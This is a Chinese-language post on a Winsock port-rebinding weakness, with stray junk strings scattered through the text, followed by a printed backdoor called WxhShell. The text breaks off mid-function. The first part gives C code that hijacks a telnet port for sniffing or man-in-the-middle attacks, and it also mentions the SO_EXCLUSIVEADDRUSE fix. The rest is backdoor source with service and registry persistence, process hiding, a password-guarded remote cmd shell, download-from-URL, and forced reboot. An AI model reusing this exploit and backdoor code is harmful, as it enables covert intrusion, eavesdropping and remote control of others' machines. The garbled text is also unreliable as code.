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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X.#*+k3s0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cI[i v QqF<HCO saddr.sin_family = AF_INET; sN1H{W o*204BGB saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;[ QIHA! C+/EPPi bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y!j/,FU +(DzE
H | 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,u|>%@h V<WWtu;3 这意味着什么?意味着可以进行如下的攻击: <zqIq9}r )s>|;K{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `mcb0 Ei:m@}g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nN&dtjoF M;XU"8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fa]8v6 Ia%cc
L= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 e5AsX.kvB 3DO*kM1s@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^JxVs
7 6/cm TT$i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ED8{ (tA[] ne2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jkl dr@t _8$xsj4_ #include A@~9r9Uf #include pzRVX8 #include jy~hLEt7 #include Uhvy2}w DWORD WINAPI ClientThread(LPVOID lpParam); YN)qMI_`A int main() >0SG]er@ { |34k;l]E WORD wVersionRequested; 2.nT k DWORD ret; |m\7/&@< WSADATA wsaData; "
:e
<a? BOOL val; w)<.v+u.Y SOCKADDR_IN saddr; =,*/Ph& SOCKADDR_IN scaddr; 15_"U+O(/ int err; @B0fRG y SOCKET s; @8\0@[] SOCKET sc; v3[ZPc;; int caddsize; Ew]&~:$Ki HANDLE mt; LntRLB' DWORD tid; '\QJ{/JV wVersionRequested = MAKEWORD( 2, 2 ); T=w0T-[f err = WSAStartup( wVersionRequested, &wsaData ); j7);N if ( err != 0 ) { [|$C2Dhw= printf("error!WSAStartup failed!\n"); 0Bgj.?l return -1; 6 [bQ'Ir^8 } N\ <riS9 saddr.sin_family = AF_INET; }qGd*k0F0 wy|b Hkr_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i*l=xW;bM xX%{i0E saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IRLAsb3 saddr.sin_port = htons(23); "$5cKbJ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QX?moW6UW { r+Sv(KS4i^ printf("error!socket failed!\n"); Xr o5~G return -1; Rex86!TO } *B4OvHi)' val = TRUE;
*pO`sC> //SO_REUSEADDR选项就是可以实现端口重绑定的 bfb9A+]3' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zBca$Vp { \*5z0A9)5) printf("error!setsockopt failed!\n"); S^1ZsD. return -1; ??Urm[Y.Z } a"}ndrc* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]/p>p3@1C //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 EFU)0IAL[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ENA"T-p w}/+3z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p1GP@m,^n0 { 2I suBX\[ ret=GetLastError(); ?1|\(W# printf("error!bind failed!\n"); g9Dynm5 return -1; q( EN]W], } Ta3* G listen(s,2); 3 q8S while(1) ^Et^,I:` { L09r|g4Z caddsize = sizeof(scaddr); N:KM8PZ&~ //接受连接请求 hw`pi6
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w$]wd`N} if(sc!=INVALID_SOCKET) A]%*ye"NT { PXl%"O%d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q4Wz5n1yp7 if(mt==NULL) sWTa;Qi { VeEa17g& printf("Thread Creat Failed!\n"); ,<7HLV break; \ %xku: } a$iDn_{ } D0_CDdW%7 CloseHandle(mt); 5%K|dYv^^ }
!Qsjn closesocket(s); b5~p:f-&4B WSACleanup(); iu0'[ return 0; I(3YXv
VN } D{6BX-Dw. DWORD WINAPI ClientThread(LPVOID lpParam) ]2&RN@
{ tJ7tZ~Ak SOCKET ss = (SOCKET)lpParam; Z" l].\=
F SOCKET sc; 0}`
-<( unsigned char buf[4096]; `Y!8,(5# SOCKADDR_IN saddr; =(R3-['QIb long num; i$.! 8AV6 DWORD val; ]l=CiG4!M DWORD ret; r0OP !u //如果是隐藏端口应用的话,可以在此处加一些判断 4"nYxL"<4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 .|P
:n' saddr.sin_family = AF_INET; S%?%06$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?hrz@k| saddr.sin_port = htons(23); }YiFiGf, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _9=cxwi<w { !u:;Ew printf("error!socket failed!\n"); '19? return -1; Tqs|2at<t } J}bLp
Z val = 100; i}f" 'KW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O#{`Fj` { GAs.?JHd ret = GetLastError(); svt3gkR0 return -1; [tC=P&< } 2h@&yW2j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A*|\E:fo { 3 l
j^I ret = GetLastError(); Rb^G~82d? return -1; B<.ZW}#v } wSZMHIW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4UPxV"H { RA){\~@wC printf("error!socket connect failed!\n"); 6#:V3 ; closesocket(sc); <jaQ0S{| closesocket(ss); T`u
,!S return -1; 6Xn9$C) } k5}Qx'/l while(1) lQRtsmZ0 { hoiC
J}us //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hkf]=kPy* //如果是嗅探内容的话,可以再此处进行内容分析和记录 zlkW-rRkR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R%9,.g< num = recv(ss,buf,4096,0);
w%oa={x if(num>0) nb*`GE send(sc,buf,num,0); 7pyaHe else if(num==0) s|[qq7 break; ]Ee$ulJ02 num = recv(sc,buf,4096,0); eT2Tg5Etc if(num>0) #op0|:/N send(ss,buf,num,0); ?5%o-hB| else if(num==0) n-GoG(s..b break; Aeq^s } (b1e!gJpy closesocket(ss); n0 V^/j} closesocket(sc); Uu Zjf9} return 0 ; S*7 6V"") } wq8&2(|Fc jnM}N:v LXth-j=] ========================================================== Zx: h)I j(>xP*il 下边附上一个代码,,WXhSHELL ZP0D)@8 +KTHZpp!c2 ========================================================== .jbxA2 CFoR!r:X #include "stdafx.h" r&F
6ZCw 4`o<e)c3 #include <stdio.h> \0e`sOS`L #include <string.h> {=U*!`D #include <windows.h> S
C}@eA' #include <winsock2.h> D'% O<.m #include <winsvc.h> R$QhuxT| #include <urlmon.h> g`2Oh5dA e;|$nw- #pragma comment (lib, "Ws2_32.lib") |v1*
[( #pragma comment (lib, "urlmon.lib") 4#t-?5" ttBqp|.?S #define MAX_USER 100 // 最大客户端连接数 U?5G%o(q #define BUF_SOCK 200 // sock buffer :FmH=pI!= #define KEY_BUFF 255 // 输入 buffer .F$cR^i5u bFH`wLW #define REBOOT 0 // 重启 (Y^tky$9 #define SHUTDOWN 1 // 关机 I_R 6
M1 ;Z`R! #define DEF_PORT 5000 // 监听端口 Pj!f^MN P%!=Rj^ 2m #define REG_LEN 16 // 注册表键长度 Cm"S=gV #define SVC_LEN 80 // NT服务名长度 /cvMp#<] V:+z 3)qF // 从dll定义API 8 0o'=E}" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VZ
7(6?W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pl2eDv-y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bg)}-]u] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g^\!> i h7o.RRhK // wxhshell配置信息 $Fy>N>,E( struct WSCFG { eYu 0") int ws_port; // 监听端口 :s-9@Yl| char ws_passstr[REG_LEN]; // 口令 9E[==2TO int ws_autoins; // 安装标记, 1=yes 0=no !?|xeQ} char ws_regname[REG_LEN]; // 注册表键名 LPca+o|f char ws_svcname[REG_LEN]; // 服务名 /f AAQ7 char ws_svcdisp[SVC_LEN]; // 服务显示名 @:>gRD char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~zWLqnS} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hp2$[p6O int ws_downexe; // 下载执行标记, 1=yes 0=no h b8L[ 4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" {:Kr't<XzF char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?|\wJrM ] B`jq"[w]- }; 1i)3!fH0:
Jz P0D' // default Wxhshell configuration Cbm^:
_LR struct WSCFG wscfg={DEF_PORT, aEVy20wd "xuhuanlingzhe", } .<(L 1, Ji6.-[: "Wxhshell", Zp9kxm' "Wxhshell", >6)|>#Wi "WxhShell Service", lJT"aXt'M "Wrsky Windows CmdShell Service", 7;&,LH "Please Input Your Password: ", Sn'
+~6i 1, L1y71+iqU " http://www.wrsky.com/wxhshell.exe", "{Y6.)x "Wxhshell.exe" e,W,NnCICj }; "7jE&I 4GXS( // 消息定义模块 <z>oY2% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h@y>QhYU0 char *msg_ws_prompt="\n\r? for help\n\r#>"; hr hj4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 8Kk41 = char *msg_ws_ext="\n\rExit."; %}XyzGq{ char *msg_ws_end="\n\rQuit."; M* {5> !\ char *msg_ws_boot="\n\rReboot..."; Z/|=@gpw char *msg_ws_poff="\n\rShutdown..."; :3b02}b7 char *msg_ws_down="\n\rSave to "; Q(e 8.+
yZTg char *msg_ws_err="\n\rErr!"; :fq4oHA# char *msg_ws_ok="\n\rOK!"; Ps[#z@5{x %&q}5Y4! char ExeFile[MAX_PATH]; nb6Y/`G int nUser = 0; KeXt"U HANDLE handles[MAX_USER]; n1:q:qMR1 int OsIsNt; _aJKt3GQ ~l*<LXp8 SERVICE_STATUS serviceStatus; x($Djx SERVICE_STATUS_HANDLE hServiceStatusHandle; uU^iY$w Xil;`8h // 函数声明 Wcm8,?* int Install(void); {Qn{w%!| int Uninstall(void); LhM$!o?W int DownloadFile(char *sURL, SOCKET wsh); (mKH,r int Boot(int flag); *;~u 5y2b void HideProc(void); U=U5EdN; int GetOsVer(void); AYpvGl' int Wxhshell(SOCKET wsl); (oG.A void TalkWithClient(void *cs); j-DWz>x int CmdShell(SOCKET sock); tV>qV\> int StartFromService(void); N]6t)Zv int StartWxhshell(LPSTR lpCmdLine); -|>T?
t'K EbVva{;#$; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %H,s~IU VOID WINAPI NTServiceHandler( DWORD fdwControl ); D{[{ &1\)r l=((>^i // 数据结构和表定义 ek0!~v<I SERVICE_TABLE_ENTRY DispatchTable[] = X8N9*vy { 3wcFR0f {wscfg.ws_svcname, NTServiceMain}, xgpf2y!{ {NULL, NULL} 3JkdP h }; a/1;|1a. 5Dz$_2oM3 // 自我安装 9cU9'r# h int Install(void) x{tlC}t { dM P'Vnfj char svExeFile[MAX_PATH]; GG +T- HKEY key; n${k^e-= strcpy(svExeFile,ExeFile); r\Yh'cRW{
KLE)+| // 如果是win9x系统,修改注册表设为自启动 \iP@|ay9 if(!OsIsNt) { Ym!e}`A\F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eh|,[D!E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xtz:^tg RegCloseKey(key); ~id:Rh>o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g.vE%zKL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %'Q2c'r RegCloseKey(key); uoeZb=< return 0; n|XheG7: } (/,l0 } xIC@$GP } h:r?:C>n else { DuZ Zu Q~VM.G // 如果是NT以上系统,安装为系统服务 /kg#i&bP~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u*rP8GuS if (schSCManager!=0) '[%#70* { Ke?,AWfG SC_HANDLE schService = CreateService w^$C\bCbh ( j%^4
1 y schSCManager, Y?3tf0t/ wscfg.ws_svcname, hpPacN wscfg.ws_svcdisp, y$SUYG'v SERVICE_ALL_ACCESS, |5O>7~Tp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $~W5! m SERVICE_AUTO_START, &} `a"tYr SERVICE_ERROR_NORMAL, =!xX{o?64 svExeFile, q CYu@Ho NULL, wWiYxBeN NULL, PPIO<K 3` NULL, $?bD55 NULL, L\E>5G; NULL &tvp)B?cWk ); l&'q+F if (schService!=0) q!@!eC[b { ZH9Fs'c= CloseServiceHandle(schService); J{Kw@_ypP CloseServiceHandle(schSCManager); b \ln XN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?4Rd4sIM$u strcat(svExeFile,wscfg.ws_svcname); V|$PO
Qa3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "QxULiw RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /#H P;>!n RegCloseKey(key); dnU-v7k,{ return 0; J:Qx5;b; } /Xb4'Qj } Y%;X7VxU* CloseServiceHandle(schSCManager); MJ1qU}+] } tZz%x?3G } ]rH[+t- ?X@[ibH6 return 1; H?J:_1 } _#6Qf h\w;SDwOk // 自我卸载 F}ATY! int Uninstall(void) )`f-qTe { ~ILv*v@m HKEY key; >19s:+ \\#D!q* if(!OsIsNt) { 5P"R'/[PA_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kaB|+U9^ RegDeleteValue(key,wscfg.ws_regname); n9}BT^4 v RegCloseKey(key); 85q/|9D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YRX^fZ-b RegDeleteValue(key,wscfg.ws_regname); ,v>;/qm RegCloseKey(key); }RI_k&; return 0; rxu_Ssd@" } C1=&Vm>g+ } <TtPwUX
} abR<( H12 else { qpYgTn8l7 vf{$2rC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {L%J DJ if (schSCManager!=0) o&Xp%}TI { =-fM2oiI: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w.(W G+ if (schService!=0) phjM(lmCo { SYA~I-OYc if(DeleteService(schService)!=0) { ?4/pE@RIy CloseServiceHandle(schService); J'X}6Q CloseServiceHandle(schSCManager); 4J_HcatOB return 0; `y.4FA4"8 } *u"%hXR CloseServiceHandle(schService); 8:V,>PH } #xGP|:m CloseServiceHandle(schSCManager); j;]I
-M[ } !~~KM?g } RdWn =; KYm8|]'g return 1; s0f+AS|} } )__sw N{HAWB{ // 从指定url下载文件 i~]60M> int DownloadFile(char *sURL, SOCKET wsh) >B**fZ~L { ZY`9 HRESULT hr; BNCM{}e char seps[]= "/"; '`k7l7I[@ char *token; |f fHOef char *file; K?'m#}] char myURL[MAX_PATH]; )2?]c char myFILE[MAX_PATH]; zMbFh_dcq 18rV Acj strcpy(myURL,sURL); Y:TfD{Xgc token=strtok(myURL,seps); QjY}$ while(token!=NULL) 7CH&n4v { KJec/qca file=token; z:f&k}( token=strtok(NULL,seps); g]?pY } zl:by? 6LCtWX GetCurrentDirectory(MAX_PATH,myFILE); p7Wt(A strcat(myFILE, "\\"); }vZf&ib-
strcat(myFILE, file); n!/0yR2S send(wsh,myFILE,strlen(myFILE),0); Bam.B6- send(wsh,"...",3,0); pJ/]\>#5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qr%N/7 if(hr==S_OK) `KA==;0 return 0; =M;F&;\8 else D r(0w{5 return 1; u'l4=e ojnO69v } &@oI/i&0B >2{Y5__+e // 系统电源模块 q@bye4Ry%W int Boot(int flag) 'fU #v`i { 6I"KomJ9 HANDLE hToken; h#r~2\q4ei TOKEN_PRIVILEGES tkp; /e>%yq<9B D=z~]a31! if(OsIsNt) { -\f7qRW^U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d9v66mpJM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hvk~BP'
m
tkp.PrivilegeCount = 1; /ZV2f3;t tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I~n4}}9M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); . J O3# if(flag==REBOOT) { gdf0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tJ;qZyy( return 0; zni9 } pV ^+X} else { ZMgsuzg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5`p9Xo>)yW return 0; Nq`;\E.M } qG;tD>jy } ZcXAqep8' else { T4.wz
58 if(flag==REBOOT) { ;99oJD, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N E9,kWI return 0; qK.(wFx } hE(R[hc else {
g}<jn'@{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C`;igg$t_ return 0; 0(-4"u>? } CHKhJ v3+4 } 8C*@d_=q WBWW7 HK return 1; bfz7t!A)A } ~
q-Z-MA C7{VByxJ // win9x进程隐藏模块 SDC|>e9i void HideProc(void) t7-]OY7%w_ { jI\@<6O _ZhQY, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =_-u;w1D if ( hKernel != NULL ) 2QaE&8vW { ~_EDJp1J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y`n?f|nf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o:QL%J{[ FreeLibrary(hKernel); vz4(
k/ } J;_4
3eS AA=Ob$2$ return; iRrUIWx } vGv<WEE ]4H)GWHKg // 获取操作系统版本 zG_n x3 int GetOsVer(void) cQt&%SVT]E { ~NK $rHwi% OSVERSIONINFO winfo; rlKR
<4H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y
]()v GetVersionEx(&winfo); 0V<kpC,4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kMVr[q,MEq return 1; O`y3H lc else GL O3v.
n; return 0; -b^dK)wR~ } ,VVA^'+ hb;CpA // 客户端句柄模块 myfTztJ int Wxhshell(SOCKET wsl) 6{.U7=" { (y]Z *p:EW SOCKET wsh; L@H^?1*L? struct sockaddr_in client; jaEe$2F2 DWORD myID; {FFdMdxy- bSw^a{~) while(nUser<MAX_USER) ;EJ!I+ { L/ibnGhq] int nSize=sizeof(client); [>v1JN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cqnuf5e>L if(wsh==INVALID_SOCKET) return 1; aH."|
*. ]?(kaNQ"D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zF`a:dD$d if(handles[nUser]==0) n{TWdC closesocket(wsh); o~XK*f=( else A*DN/lG nUser++; D-{*3?x } g PCf+>X{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aC}\`.Kb jr)M], return 0; ,1~zYL?
} 2|bt"y-5r kfnh1|D=aY // 关闭 socket Qq:}Z7
H void CloseIt(SOCKET wsh) Q$5t~*$` { 4\-11!'08 closesocket(wsh); f\oW<2k]~ nUser--; mce qZv ExitThread(0); B{Vc-qJ } Q8`V0E\~ 7vZO;FGtG // 客户端请求句柄 F 6sQeU void TalkWithClient(void *cs) y\_+,G0 { rEWJ3*Hb TQck$& SOCKET wsh=(SOCKET)cs; !nl-}P, char pwd[SVC_LEN]; %@C8EFl%3 char cmd[KEY_BUFF]; @LOfqQ$FE char chr[1]; /lECgu*#69 int i,j; dGk"`/@ }T$BU>z33N while (nUser < MAX_USER) { K/*R}X yP3I^>AZ3 if(wscfg.ws_passstr) { < +* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LA;f,CQ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }o:LwxNO //ZeroMemory(pwd,KEY_BUFF); "mBM<rEn* i=0; "T=j\/Q while(i<SVC_LEN) { hiVa\s ({rcH.: // 设置超时 ]^"Lc~w8& fd_set FdRead; }Ecv6&G struct timeval TimeOut; K*5gb^Ul FD_ZERO(&FdRead); h.K"v5I* FD_SET(wsh,&FdRead); w ?_8OJ TimeOut.tv_sec=8; w =F9> TimeOut.tv_usec=0; o;6~pw% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wb62($ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C0f%~UMwd me2vR# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3T.V*& pwd =chr[0]; 4)e1K/PJ) if(chr[0]==0xd || chr[0]==0xa) { Fb1<Ic# pwd=0;
VX&g[5zr break; 6Tmz!E0 } H_f8/H i++; ?S&
yF } z&H.fs L By6O@ .\V // 如果是非法用户,关闭 socket 1P"7.{ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "=DQ { (L } WwsNAJ 1f+A_k/@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,X3D<wl send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3A^AEO kkZ}&OXS; while(1) { L@O>;zp; +PE-j| D ZeroMemory(cmd,KEY_BUFF); BC!) g+8 C _he=SV // 自动支持客户端 telnet标准 =SmU;t>t/ j=0; ngZq]8=o while(j<KEY_BUFF) { KgM|:' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .t[u_tBL cmd[j]=chr[0]; )T9Cv8 if(chr[0]==0xa || chr[0]==0xd) { ~/A2:}Cp= cmd[j]=0; NpGi3>5 break; 8B-PsS|' } EE]xZz>o j++; 1/mBp+D } ! xM=7Q
k 4J[zNB] // 下载文件 v`mB82s if(strstr(cmd,"http://")) { Q0"?TSY send(wsh,msg_ws_down,strlen(msg_ws_down),0); >dK0&+A if(DownloadFile(cmd,wsh)) u\ 7Y_`8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); JJ1>)S}X- else rPy,PQG2w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YSxr(\~j } 8 !:2: else { c*\i%I#f2 j7E;\AZ^ switch(cmd[0]) { vKW!;U9~P k(Xs&f
` // 帮助 ^|oI^"IQ= case '?': { afHRy:<+% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >k\p%{P break; }ACg#;>/+ } H HX q_-V // 安装 $hCS-9%& case 'i': { #Ev}Gf+5Q if(Install()) fr`#s\JKw send(wsh,msg_ws_err,strlen(msg_ws_err),0); [@/p 8I else g4q{
] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |in>`:qk break; e}5x6t } ~*3Si(4l/ // 卸载 ~Qif-|[V case 'r': { Kn$t_7AF^ if(Uninstall()) ?`Z:vqp>Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4_>;|2 else f%n ;Z}= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .n_Z0&i/w break; I-8I/RRkmP } #*9 |\ // 显示 wxhshell 所在路径 mEYfsO case 'p': { P%&|?e~D^ char svExeFile[MAX_PATH]; 9[\do@ strcpy(svExeFile,"\n\r"); :I"22EH strcat(svExeFile,ExeFile); TT9
\m=7 send(wsh,svExeFile,strlen(svExeFile),0); 4/{pz$ break; :55a9d1bL } dY.X/f // 重启 jQ7;-9/~N case 'b': { 61QA<Wb send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o1\N)% if(Boot(REBOOT)) U.Vn|s(`z send(wsh,msg_ws_err,strlen(msg_ws_err),0); m["e7>9G else { fzVN;h closesocket(wsh); S=kO9"RB] ExitThread(0); id+EBVHAd } pRlScD_}; break; Qt\:A!'jw } euV!U}Xr // 关机 /ho7~C+H*e case 'd': { ?z|Bf@TJ[+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2N |iOog if(Boot(SHUTDOWN)) W,,3@: send(wsh,msg_ws_err,strlen(msg_ws_err),0); }+S~Ah?( else { 4W2.K0Ca closesocket(wsh); BE&8E\w ExitThread(0); 9
4bDJy1 } HLthVc w break; 90F.9rh } ?HOnDw.v1 // 获取shell r91i : case 's': { gkTwGI+w CmdShell(wsh); ^wSGrV' closesocket(wsh); '-~J.8-</ ExitThread(0); .L^j:2(L break; s!D?% } xh<{lZ)KJ // 退出 hxJKYU^%m case 'x': { n]3'N58 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q$:,N=% CloseIt(wsh); .#sX|c=W break; I)jAdd } 8?'=Aeo // 离开 W:j9 KhvT case 'q': { F#Pn] send(wsh,msg_ws_end,strlen(msg_ws_end),0); ">8oF.A^ closesocket(wsh); Z/GSR$@lI WSACleanup(); dEkS T[Y3 exit(1); Ed;!A(64r break; zA|lbJz=GY } =d~pr:.F } {Z!t:'x8 } 1)~9Eku6K n/BoK6g // 提示信息 xi<}n# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &.yX41R } dpge:Qhr } Zn*W2s^^{ (}T},ygQ return; |V}tTx1 } ?qHQ#0 @y] =<#++;!I
// shell模块句柄 S}Z@g int CmdShell(SOCKET sock) 6v}q @z { T8*;?j*@ STARTUPINFO si; v13\y^t ZeroMemory(&si,sizeof(si)); L`Ys`7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3*7 klu si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e8_EB/)_Z PROCESS_INFORMATION ProcessInfo; M
$EHx[*5 char cmdline[]="cmd"; HpeU'0u0VK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .A/xH
x return 0; 8{icY|:MTN } .DnG}884 cFjD*r- // 自身启动模式 zw5Ol%JF int StartFromService(void) A'u]z\&%c { /{[tU-}qJ typedef struct hCX/k<}I { ?mVSc/ DWORD ExitStatus; u]9 #d^%V DWORD PebBaseAddress; ]H`pM9rC DWORD AffinityMask; w!d(NA<|0] DWORD BasePriority; !w!k0z] ULONG UniqueProcessId; %bdBg ULONG InheritedFromUniqueProcessId; |XQ\c.A } PROCESS_BASIC_INFORMATION; By*YBZ e !w{ap8u PROCNTQSIP NtQueryInformationProcess; tk 5p@l .k
